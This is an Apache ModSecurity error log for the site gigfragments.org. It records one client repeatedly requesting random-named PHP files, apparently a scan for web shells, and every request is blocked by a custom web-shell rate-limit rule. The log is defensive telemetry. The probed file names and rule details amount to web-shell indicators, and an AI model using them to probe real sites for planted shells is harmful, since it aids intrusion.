[Sat Apr 11 03:39:29.056448 2026] [:error] [pid 21706:tid 21731] [client 4.219.9.127:29022] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oircv.php"] [unique_id "adlR8SGQ1M5d8fQSsLEWAQAAABc"]
[Sat Apr 11 03:39:29.803271 2026] [:error] [pid 21568:tid 21574] [client 4.219.9.127:32808] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oircv.php"] [unique_id "adlR8Yiz5v_ljZxkpR8HOQAAAQI"]
[Sat Apr 11 03:39:30.629659 2026] [:error] [pid 21568:tid 21595] [client 4.219.9.127:29041] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oircv.php"] [unique_id "adlR8oiz5v_ljZxkpR8HOwAAARc"]
[Sat Apr 11 03:39:31.361147 2026] [:error] [pid 21706:tid 21719] [client 4.219.9.127:7041] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/oircv.php"] [unique_id "adlR8yGQ1M5d8fQSsLEWGAAAAAs"]
[Sat Apr 11 03:39:32.049682 2026] [:error] [pid 21706:tid 21721] [client 4.219.9.127:32825] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "adlR9CGQ1M5d8fQSsLEWHAAAAA0"]
[Sat Apr 11 03:39:33.849738 2026] [:error] [pid 21569:tid 21669] [client 4.219.9.127:34471] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "adlR9XAvQTgvXJ6vHorIVwAAAJI"]
[Sat Apr 11 03:39:34.676073 2026] [:error] [pid 21569:tid 21654] [client 4.219.9.127:29047] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blnux.php"] [unique_id "adlR9nAvQTgvXJ6vHorIWQAAAIk"]
[Sat Apr 11 03:39:43.719516 2026] [:error] [pid 21706:tid 21710] [client 4.219.9.127:6917] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxivicLhot.php"] [unique_id "adlR_yGQ1M5d8fQSsLEWcAAAAAI"]
[Sat Apr 11 03:39:44.691229 2026] [:error] [pid 21706:tid 21724] [client 4.219.9.127:33789] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxivicLhot.php"] [unique_id "adlSACGQ1M5d8fQSsLEWdQAAABA"]
[Sat Apr 11 03:39:45.974619 2026] [:error] [pid 21568:tid 21596] [client 4.219.9.127:6447] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxivicLhot.php"] [unique_id "adlSAYiz5v_ljZxkpR8HWgAAARg"]
[Sat Apr 11 03:39:47.356814 2026] [:error] [pid 21569:tid 21656] [client 4.219.9.127:19928] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xxivicLhot.php"] [unique_id "adlSA3AvQTgvXJ6vHorIbQAAAIs"]
[Sat Apr 11 03:39:48.413107 2026] [:error] [pid 55451:tid 55475] [client 4.219.9.127:6148] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "adlSBHApxuyB7yCS5Rlb0wAAANY"]
[Sat Apr 11 03:39:49.066322 2026] [:error] [pid 55451:tid 55464] [client 4.219.9.127:33742] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "adlSBXApxuyB7yCS5Rlb2gAAAMs"]
[Sat Apr 11 03:39:51.084161 2026] [:error] [pid 55451:tid 55468] [client 4.219.9.127:6954] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "adlSB3ApxuyB7yCS5Rlb5gAAAM8"]
[Sat Apr 11 03:39:51.969624 2026] [:error] [pid 55451:tid 55458] [client 4.219.9.127:28151] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7logs.php"] [unique_id "adlSB3ApxuyB7yCS5Rlb7gAAAMU"]
[Sat Apr 11 03:39:52.995002 2026] [:error] [pid 21569:tid 21659] [client 4.219.9.127:34415] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "adlSCHAvQTgvXJ6vHorIcQAAAI0"]
[Sat Apr 11 03:39:58.051039 2026] [:error] [pid 55451:tid 55456] [client 4.219.9.127:54850] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "adlSDnApxuyB7yCS5RlcFgAAAMM"]
[Sat Apr 11 03:39:59.080978 2026] [:error] [pid 21568:tid 21589] [client 4.219.9.127:39752] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "adlSD4iz5v_ljZxkpR8HdgAAARE"]
[Sat Apr 11 03:39:59.975947 2026] [:error] [pid 21570:tid 21698] [client 4.219.9.127:19918] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acc.php"] [unique_id "adlSDzKs5t9xRSNL6cn84gAAAFg"]
[Sat Apr 11 03:40:00.871923 2026] [:error] [pid 55451:tid 55459] [client 4.219.9.127:54899] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxeyc.php"] [unique_id "adlSEHApxuyB7yCS5RlcJQAAAMY"]
[Sat Apr 11 03:40:01.731118 2026] [:error] [pid 21569:tid 21657] [client 4.219.9.127:19953] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxeyc.php"] [unique_id "adlSEXAvQTgvXJ6vHorIewAAAIw"]
[Sat Apr 11 03:40:02.454794 2026] [:error] [pid 21568:tid 21572] [client 4.219.9.127:6969] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxeyc.php"] [unique_id "adlSEoiz5v_ljZxkpR8HgwAAAQA"]
[Sat Apr 11 03:40:03.368645 2026] [:error] [pid 21568:tid 21578] [client 4.219.9.127:40890] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wxeyc.php"] [unique_id "adlSE4iz5v_ljZxkpR8HjgAAAQY"]
[Sat Apr 11 03:40:04.664707 2026] [:error] [pid 21568:tid 21592] [client 4.219.9.127:40865] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "adlSFIiz5v_ljZxkpR8HmAAAARQ"]
[Sat Apr 11 03:40:05.852744 2026] [:error] [pid 21570:tid 21689] [client 4.219.9.127:34417] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "adlSFTKs5t9xRSNL6cn88QAAAE8"]
[Sat Apr 11 03:40:06.529573 2026] [:error] [pid 21706:tid 21728] [client 4.219.9.127:7094] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "adlSFiGQ1M5d8fQSsLEWsQAAABQ"]
[Sat Apr 11 03:40:07.168213 2026] [:error] [pid 55451:tid 55472] [client 4.219.9.127:38277] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "adlSF3ApxuyB7yCS5RlcOgAAANM"]
[Sat Apr 11 03:40:08.612653 2026] [:error] [pid 55451:tid 55470] [client 4.219.9.127:6542] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "adlSGHApxuyB7yCS5RlcRAAAANE"]
[Sat Apr 11 03:40:09.612309 2026] [:error] [pid 55451:tid 55472] [client 4.219.9.127:34476] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "adlSGXApxuyB7yCS5RlcSwAAANM"]
[Sat Apr 11 03:40:10.354537 2026] [:error] [pid 21568:tid 21585] [client 4.219.9.127:6454] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "adlSGoiz5v_ljZxkpR8HqQAAAQ0"]
[Sat Apr 11 03:40:11.061906 2026] [:error] [pid 55451:tid 55476] [client 4.219.9.127:54872] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bthil.php"] [unique_id "adlSG3ApxuyB7yCS5RlcWgAAANc"]
[Sat Apr 11 03:40:11.677377 2026] [:error] [pid 21568:tid 21591] [client 4.219.9.127:33778] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyflv.php"] [unique_id "adlSG4iz5v_ljZxkpR8HqwAAARM"]
[Sat Apr 11 03:40:12.503686 2026] [:error] [pid 21568:tid 21576] [client 4.219.9.127:29030] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyflv.php"] [unique_id "adlSHIiz5v_ljZxkpR8HswAAAQQ"]
[Sat Apr 11 03:40:13.281454 2026] [:error] [pid 21570:tid 21689] [client 4.219.9.127:40832] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyflv.php"] [unique_id "adlSHTKs5t9xRSNL6cn8_QAAAE8"]
[Sat Apr 11 03:40:14.112188 2026] [:error] [pid 21706:tid 21714] [client 4.219.9.127:32789] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyflv.php"] [unique_id "adlSHiGQ1M5d8fQSsLEWvQAAAAY"]
[Sat Apr 11 03:40:15.060500 2026] [:error] [pid 21570:tid 21698] [client 4.219.9.127:34457] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "adlSHzKs5t9xRSNL6cn9BAAAAFg"]
[Sat Apr 11 03:40:15.797203 2026] [:error] [pid 55451:tid 55455] [client 4.219.9.127:34423] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "adlSH3ApxuyB7yCS5RlcegAAAMI"]
[Sat Apr 11 03:40:16.455891 2026] [:error] [pid 21569:tid 21664] [client 4.219.9.127:32780] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "adlSIHAvQTgvXJ6vHorIlgAAAJA"]
[Sat Apr 11 03:40:17.194903 2026] [:error] [pid 21569:tid 21647] [client 4.219.9.127:6159] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tymi.php"] [unique_id "adlSIXAvQTgvXJ6vHorImAAAAII"]
[Sat Apr 11 03:40:17.799869 2026] [:error] [pid 21706:tid 21711] [client 4.219.9.127:28143] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sde.php"] [unique_id "adlSISGQ1M5d8fQSsLEWzgAAAAM"]
[Sat Apr 11 03:40:18.582821 2026] [:error] [pid 21570:tid 21690] [client 4.219.9.127:39798] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sde.php"] [unique_id "adlSIjKs5t9xRSNL6cn9CQAAAFA"]
[Sat Apr 11 03:40:19.216815 2026] [:error] [pid 21569:tid 21646] [client 4.219.9.127:6755] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sde.php"] [unique_id "adlSI3AvQTgvXJ6vHorInQAAAIE"]
[Sat Apr 11 03:40:19.956608 2026] [:error] [pid 21706:tid 21721] [client 4.219.9.127:6916] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sde.php"] [unique_id "adlSIyGQ1M5d8fQSsLEW1gAAAA0"]
[Sat Apr 11 03:40:20.821322 2026] [:error] [pid 21568:tid 21576] [client 4.219.9.127:54898] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpb.php"] [unique_id "adlSJIiz5v_ljZxkpR8HygAAAQQ"]
[Sat Apr 11 03:40:21.599415 2026] [:error] [pid 21568:tid 21588] [client 4.219.9.127:6920] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpb.php"] [unique_id "adlSJYiz5v_ljZxkpR8HzwAAARA"]
[Sat Apr 11 03:40:22.221028 2026] [:error] [pid 21706:tid 21730] [client 4.219.9.127:6176] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpb.php"] [unique_id "adlSJiGQ1M5d8fQSsLEW4QAAABY"]
[Sat Apr 11 03:40:22.845485 2026] [:error] [pid 21706:tid 21722] [client 4.219.9.127:54865] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wpb.php"] [unique_id "adlSJiGQ1M5d8fQSsLEW6wAAAA4"]
[Sat Apr 11 03:40:23.676554 2026] [:error] [pid 21706:tid 21714] [client 4.219.9.127:35983] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "adlSJyGQ1M5d8fQSsLEW7gAAAAY"]
[Sat Apr 11 03:40:24.404302 2026] [:error] [pid 21569:tid 21647] [client 4.219.9.127:19924] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "adlSKHAvQTgvXJ6vHorIpQAAAII"]
[Sat Apr 11 03:40:25.045340 2026] [:error] [pid 21569:tid 21646] [client 4.219.9.127:6721] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "adlSKXAvQTgvXJ6vHorIqAAAAIE"]
[Sat Apr 11 03:40:33.866268 2026] [:error] [pid 21706:tid 21708] [client 4.219.9.127:34433] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Geforce.php"] [unique_id "adlSMSGQ1M5d8fQSsLEXIgAAAAA"]
[Sat Apr 11 03:41:04.418326 2026] [:error] [pid 21706:tid 21726] [client 4.219.9.127:6194] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlSUCGQ1M5d8fQSsLEYEAAAABI"]
[Sat Apr 11 03:41:06.476223 2026] [:error] [pid 55451:tid 55464] [client 4.219.9.127:6422] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlSUnApxuyB7yCS5RldBgAAAMs"]
[Sat Apr 11 03:41:07.224895 2026] [:error] [pid 21706:tid 21711] [client 4.219.9.127:34437] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlSUyGQ1M5d8fQSsLEYLwAAAAM"]
[Sat Apr 11 03:41:07.865059 2026] [:error] [pid 21706:tid 21717] [client 4.219.9.127:32793] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlSUyGQ1M5d8fQSsLEYNwAAAAk"]
[Sat Apr 11 03:41:08.648298 2026] [:error] [pid 21706:tid 21732] [client 4.219.9.127:34472] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zc-220.php"] [unique_id "adlSVCGQ1M5d8fQSsLEYQwAAABg"]
